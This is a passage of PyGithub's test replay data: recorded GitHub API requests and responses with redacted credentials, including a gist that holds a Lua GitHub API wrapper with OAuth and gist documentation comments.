user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":3,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-06T09:42:02Z","due_on":null},"comments":2,"created_at":"2013-08-07T08:57:49Z","updated_at":"2013-09-06T09:11:57Z","closed_at":"2013-09-06T09:11:57Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Maybe I haven't found it, but it would be very useful to have methods for checking the status of the GitHub API (https://status.github.com/api)"}} https GET api.github.com None /repos/jacquev6/PyGithub/labels/Bug {'If-None-Match': '"a4af9b5fe3ebc7d9ec2ecd4a637a4863"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Sat, 20 Oct 2007 11:24:19 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4864'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'd4b19adc-a9cc-4710-b146-93a5c3edb71f'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 20 Oct 2007 11:24:19 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"a4af9b5fe3ebc7d9ec2ecd4a637a4863"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:26 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/milestones/17 {'If-None-Match': '"654d1a29abe3a61b096e8bffbc61c162"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:51:22 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4864'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '21cfd2f1-595f-480a-bbf0-e9259d46277e'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:28 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /users/nvie {'If-None-Match': '"ded215d39a497c6d2de00dd5e5a5deb6"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 13:38:58 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4864'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'd669c122-58f7-447d-8d21-b48c619cca41'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 13:38:58 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"ded215d39a497c6d2de00dd5e5a5deb6"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:29 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /notifications/threads/8406712 {'If-None-Match': '"848b2905eeb475bca3c72fe17bedcc0c"', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4863'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '974ec572-54e3-4f64-bcff-c203fea238da'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '4203'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"a1285606034653c336a6b673a35733c1"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:29 GMT'), ('access-control-allow-origin', '*'), ('x-poll-interval', '60'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"id":"8406712","unread":null,"reason":"subscribed","updated_at":"2013-03-15T05:43:11Z","last_read_at":null,"subject":{"title":"Feature/coveralls","url":"https://api.github.com/repos/ZIMK/fwadmin/pulls/21","latest_comment_url":"https://api.github.com/repos/ZIMK/fwadmin/issues/comments/14944813","type":"PullRequest"},"repository":{"id":8432784,"name":"fwadmin","full_name":"ZIMK/fwadmin","owner":{"login":"ZIMK","id":1187008,"avatar_url":"https://2.gravatar.com/avatar/ce407a684dac7cf642606501244dd9f0?d=https%3A%2F%2Fidenticons.github.com%2Fa8b50d6bf21d85e47ce11e1d23087af2.png","gravatar_id":"ce407a684dac7cf642606501244dd9f0","url":"https://api.github.com/users/ZIMK","html_url":"https://github.com/ZIMK","followers_url":"https://api.github.com/users/ZIMK/followers","following_url":"https://api.github.com/users/ZIMK/following{/other_user}","gists_url":"https://api.github.com/users/ZIMK/gists{/gist_id}","starred_url":"https://api.github.com/users/ZIMK/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ZIMK/subscriptions","organizations_url":"https://api.github.com/users/ZIMK/orgs","repos_url":"https://api.github.com/users/ZIMK/repos","events_url":"https://api.github.com/users/ZIMK/events{/privacy}","received_events_url":"https://api.github.com/users/ZIMK/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/ZIMK/fwadmin","description":"Django based self-service firewall config tool","fork":true,"url":"https://api.github.com/repos/ZIMK/fwadmin","forks_url":"https://api.github.com/repos/ZIMK/fwadmin/forks","keys_url":"https://api.github.com/repos/ZIMK/fwadmin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ZIMK/fwadmin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ZIMK/fwadmin/teams","hooks_url":"https://api.github.com/repos/ZIMK/fwadmin/hooks","issue_events_url":"https://api.github.com/repos/ZIMK/fwadmin/issues/events{/number}","events_url":"https://api.github.com/repos/ZIMK/fwadmin/events","assignees_url":"https://api.github.com/repos/ZIMK/fwadmin/assignees{/user}","branches_url":"https://api.github.com/repos/ZIMK/fwadmin/branches{/branch}","tags_url":"https://api.github.com/repos/ZIMK/fwadmin/tags","blobs_url":"https://api.github.com/repos/ZIMK/fwadmin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ZIMK/fwadmin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ZIMK/fwadmin/git/refs{/sha}","trees_url":"https://api.github.com/repos/ZIMK/fwadmin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ZIMK/fwadmin/statuses/{sha}","languages_url":"https://api.github.com/repos/ZIMK/fwadmin/languages","stargazers_url":"https://api.github.com/repos/ZIMK/fwadmin/stargazers","contributors_url":"https://api.github.com/repos/ZIMK/fwadmin/contributors","subscribers_url":"https://api.github.com/repos/ZIMK/fwadmin/subscribers","subscription_url":"https://api.github.com/repos/ZIMK/fwadmin/subscription","commits_url":"https://api.github.com/repos/ZIMK/fwadmin/commits{/sha}","git_commits_url":"https://api.github.com/repos/ZIMK/fwadmin/git/commits{/sha}","comments_url":"https://api.github.com/repos/ZIMK/fwadmin/comments{/number}","issue_comment_url":"https://api.github.com/repos/ZIMK/fwadmin/issues/comments/{number}","contents_url":"https://api.github.com/repos/ZIMK/fwadmin/contents/{+path}","compare_url":"https://api.github.com/repos/ZIMK/fwadmin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ZIMK/fwadmin/merges","archive_url":"https://api.github.com/repos/ZIMK/fwadmin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ZIMK/fwadmin/downloads","issues_url":"https://api.github.com/repos/ZIMK/fwadmin/issues{/number}","pulls_url":"https://api.github.com/repos/ZIMK/fwadmin/pulls{/number}","milestones_url":"https://api.github.com/repos/ZIMK/fwadmin/milestones{/number}","notifications_url":"https://api.github.com/repos/ZIMK/fwadmin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ZIMK/fwadmin/labels{/name}"},"url":"https://api.github.com/notifications/threads/8406712","subscription_url":"https://api.github.com/notifications/threads/8406712/subscription"} https GET api.github.com None /orgs/BeaverSoftware {'If-None-Match': '"99d8ce990ccf1acbb3508bd20d9883e4"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Wed, 23 Jan 2013 12:15:22 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4863'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '2941dffb-707a-40d0-b4e7-a66e923fa01e'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 23 Jan 2013 12:15:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"99d8ce990ccf1acbb3508bd20d9883e4"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:30 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/pulls/31 {'If-None-Match': '"654d1a29abe3a61b096e8bffbc61c162"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:51:22 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4863'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '70632470-ec82-4aed-9456-a63147919253'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:32 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/pulls/comments/1580134 {'If-None-Match': '"654d1a29abe3a61b096e8bffbc61c162"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:51:22 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4863'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '2ca3f96b-7771-41a5-9aba-d8dedc12e465'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:35 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub {'If-None-Match': '"feb5059cac897bdd13fd1205785f865c"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:41:05 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4863'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'beb42a35-9e06-4b99-9abc-5b7e4e71fa85'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:41:05 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"feb5059cac897bdd13fd1205785f865c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:36 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /teams/141487 {'If-None-Match': '"a4af9b5fe3ebc7d9ec2ecd4a637a4863"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Sat, 20 Oct 2007 11:24:19 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4863'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'd65865d1-e84d-418b-8465-54b9c8034ead'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 20 Oct 2007 11:24:19 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"a4af9b5fe3ebc7d9ec2ecd4a637a4863"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:37 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Gist.testAttributes.txt0000644000175100001660000015524714756101563022670 0ustar00runnerdockerhttps GET api.github.com None /gists/6296732 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '26707'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '3061975e1f37121b3751604ad153c687'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"1c7d4253540b5f2dce518343258085ff"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E80DDA:1FFE:2F9F3B3:5366987A'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Sun, 04 May 2014 19:18:39 GMT'), ('date', 'Sun, 04 May 2014 19:43:54 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1399236081')] {"url":"https://api.github.com/gists/6296732","forks_url":"https://api.github.com/gists/6296732/forks","commits_url":"https://api.github.com/gists/6296732/commits","id":"6296732","git_pull_url":"https://gist.github.com/6296732.git","git_push_url":"https://gist.github.com/6296732.git","html_url":"https://gist.github.com/6296732","files":{"GithubAPI.lua":{"filename":"GithubAPI.lua","type":"text/plain","language":"Lua","raw_url":"https://gist.githubusercontent.com/jacquev6/6296732/raw/88aafa25fb28e17013054a117354a37f0d78963c/GithubAPI.lua","size":21229,"content":"-- GithubAPI\n-- @Author : Hyro Vitaly Protago\n-- @Version : 1.0.0\n\n--[[\n\nINFOS :\n - Cannot delete an anonymous gist\n]]--\n\nGithubAPI = {\n\tlocation = \"https://api.github.com/\",\n\ttoken = nil,\n\tOAuth = {\n\t\tauthorizations = {}\n\t},\n\tgist = {\n\t\tlist = {},\n\t\tcomment = {}\n\t},\n\tgithub = {}\n}\n\n----------------------------------------------------------------------------\n------------------------------ Github API ----------------------------------\n----------------------------------------------------------------------------\n\n--- Authentication ---\n\n--[[ Scopes --\n\nScopes let you specify exactly what type of access you need. Scopes limit access for OAuth tokens.\nThey do not grant any additional permission beyond that which the user already has.\n\nFor the web flow, requested scopes will be displayed to the user on the authorize form.\n\nCheck headers to see what OAuth scopes you have, and what the API action accepts.\n\n~~~\n$ curl -H \"Authorization: token OAUTH-TOKEN\" https://api.github.com/users/technoweenie -I\nHTTP/1.1 200 OK\nX-OAuth-Scopes: repo, user\nX-Accepted-OAuth-Scopes: user\nX-OAuth-Scopes lists the scopes your token has authorized. X-Accepted-OAuth-Scopes lists the scopes that the action checks for.\n~~~\n\n- (no scope)\npublic read-only access (includes public user profile info, public repo info, and gists).\n- user\nRead/write access to profile info only. Note: this scope includes user:email and user:follow.\n- user:email\nRead access to a user’s email addresses.\n- user:follow\nAccess to follow or unfollow other users.\n- public_repo\nRead/write access to public repos and organizations.\n- repo\nRead/write access to public and private repos and organizations.\n- repo:status\nRead/write access to public and private repository commit statuses.\nThis scope is only necessary to grant other users or services access to private repository commit statuses without granting access to the code.\nThe repo and public_repo scopes already include access to commit status for private and public repositories respectively.\n- delete_repo\nDelete access to adminable repositories.\n- notifications\nRead access to a user’s notifications. repo is accepted too.\n- gist\nWrite access to gists.\n\nNOTE: Your application can request the scopes in the initial redirection. You can specify multiple scopes by separating them by a comma.\n~~~\nhttps://github.com/login/oauth/authorize?\n client_id=...&\n scope=user,public_repo\n~~~\n]]--\n\n-- Redirect users to request GitHub access --\nfunction GithubAPI.OAuth.getToken(client_id, scope, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/authorize?client_id=\"..client_id..\"&scope=\"..scope, function(data, status, headers)\n\t\tGithubAPI.OAuth._getToken(client_id, client_secret, data, callback)\n\tend, nil, true)\nend\n-- GitHub redirects back to your site --\nfunction GithubAPI.OAuth._getToken(client_id, client_secret, code, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/access_token\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret,\n\t\t\tcode = code\n\t\t}\n\t}, true)\nend\n\n-- List your authorizations --\nfunction GithubAPI.OAuth.authorizations.list(callback)\n\tGithubAPI.http_request(\"authorizations\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n }\n]\n]]--\n\n-- Get a single authorization --\nfunction GithubAPI.OAuth.authorizations.get(id, callback)\n\tGithubAPI.http_request(\"authorizations/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- Create a new authorization --\nfunction GithubAPI.OAuth.authorizations.create(callback, scopes, note, note_url, client_id, client_secret)\n\tGithubAPI.http_request(\"authorizations/\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tscopes = scopes,\n\t\t\tnote = note,\n\t\t\tnote_url = note_url,\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret\n\t\t}\n\t})\nend\n\n--[[ Input --\nscopes\nOptional array - A list of scopes that this authorization is in.\n\nnote\nOptional string - A note to remind you what the OAuth token is for.\n\nnote_url\nOptional string - A URL to remind you what app the OAuth token is for.\n\nclient_id\nOptional String - The 20 character OAuth app client key for which to create the token.\n\nclient_secret\nOptional String - The 40 character OAuth app client secret for which to create the token.\n~~~\n{\n \"scopes\": [\n \"public_repo\"\n ],\n \"note\": \"admin script\"\n}\n~~~\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/authorizations/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- TODO\n-- Update\n-- Check\n-- Delete\n\n--- GISTS ---\n\n-- List gists --\nfunction GithubAPI.gist.list.user(user, callback)\n\tGithubAPI.http_request(\"users/\"..user..\"/gists\", callback)\nend\nfunction GithubAPI.gist.list.all(callback) -- return all public gists if called anonymously\n\tGithubAPI.http_request(\"gists\", callback)\nend\nfunction GithubAPI.gist.list.allPublic(callback)\n\tGithubAPI.http_request(\"gists/public\", callback)\nend\nfunction GithubAPI.gist.list.starred(callback)\n\tGithubAPI.http_request(\"gists/starred\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n }\n]\n]]--\n\n-- Get a single gist --\nfunction GithubAPI.gist.get(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Create a gist --\nfunction GithubAPI.gist.create(public, files, callback ,description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tpublic = public,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"public\": true,\n \"files\": {\n \"file1.txt\": {\n \"content\": \"String file contents\"\n }\n }\n}\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": 